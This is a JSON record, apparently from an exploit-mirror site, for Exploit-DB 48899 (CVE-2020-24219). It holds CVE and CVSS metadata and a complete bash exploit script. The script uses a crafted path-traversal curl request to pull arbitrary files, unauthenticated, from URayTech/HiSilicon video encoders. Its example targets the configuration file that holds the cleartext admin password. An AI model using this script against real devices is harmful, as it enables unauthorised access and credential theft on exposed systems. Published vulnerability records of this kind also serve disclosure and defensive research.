{"exploit":{"id":"EDB-48899","name":"HiSilicon Video Encoders - Unauthenticated File Disclosure via Path Traversal","description":"HiSilicon Video Encoders - Unauthenticated File Disclosure via Path Traversal","cves":["CVE-2020-24219"],"author":"Alexei Kojenov","published":"2020-10-19","platform":"hardware","type":"webapps","language":"Shell","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/48899","path":"exploits/hardware/webapps/48899.sh","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-48899.sh","vulnerabilities":[{"id":"CVE-2020-24219","state":"PUBLISHED","title":null,"titleSource":null,"description":"An issue was discovered on URayTech IPTV/H.264/H.265 video encoders through 1.97. Attackers can send crafted unauthenticated HTTP requests to exploit path traversal and pattern-matching programming flaws, and retrieve any file from the device's file system, including the configuration file with the cleartext administrative password.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2020-24219","cvss":{"version":"3.1","baseScore":7.5,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2020-24219"},"updatedAt":"2024-08-04T15:12:07.227Z","retrievedAt":"2026-11-26T19:08:30.322Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-48899.png?v=2","url":"https://exploitbin.com/exploits/EDB-48899","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-48899/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-48899/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env bash\n\n# Exploit Title: HiSilicon video encoders - unauthenticated file disclosure via path traversal\n# Date: 2020-09-20\n# Exploit Author: Alexei Kojenov\n# Vendor Homepage: https://www.szuray.com/\n# Software Link: N/A\n# Version: up to 1.97\n# Tested on: Linux\n# CVE: CVE-2020-24219\n# Vendors: URayTech\n# Reference: https://kojenov.com/2020-09-15-hisilicon-encoder-vulnerabilities/\n# Reference: https://www.kb.cert.org/vuls/id/896979\n\n\nif [ \"$#\" -ne 2 ]\nthen\n  echo \"Usage:   $0 <server>[:<port>] <filepath>\"\n  echo \"Example: $0 1.2.3.4:8086 /box/box.ini\"\n  exit 1\nfi\n\ncurl -s --path-as-is \"http://$1/../../sys/devices/media/13070000.jpgd/../../../..$2\" \\\n  || echo \"ERROR: curl returned $?\"","sha256":"497709d83323e28b316f88217514ecc352452a7f4bb27825cd5a733205a822d5","bytes":703,"fetchedAt":"2026-11-26T19:08:26.100Z","encoding":"utf-8 (display only; download retains original bytes)"}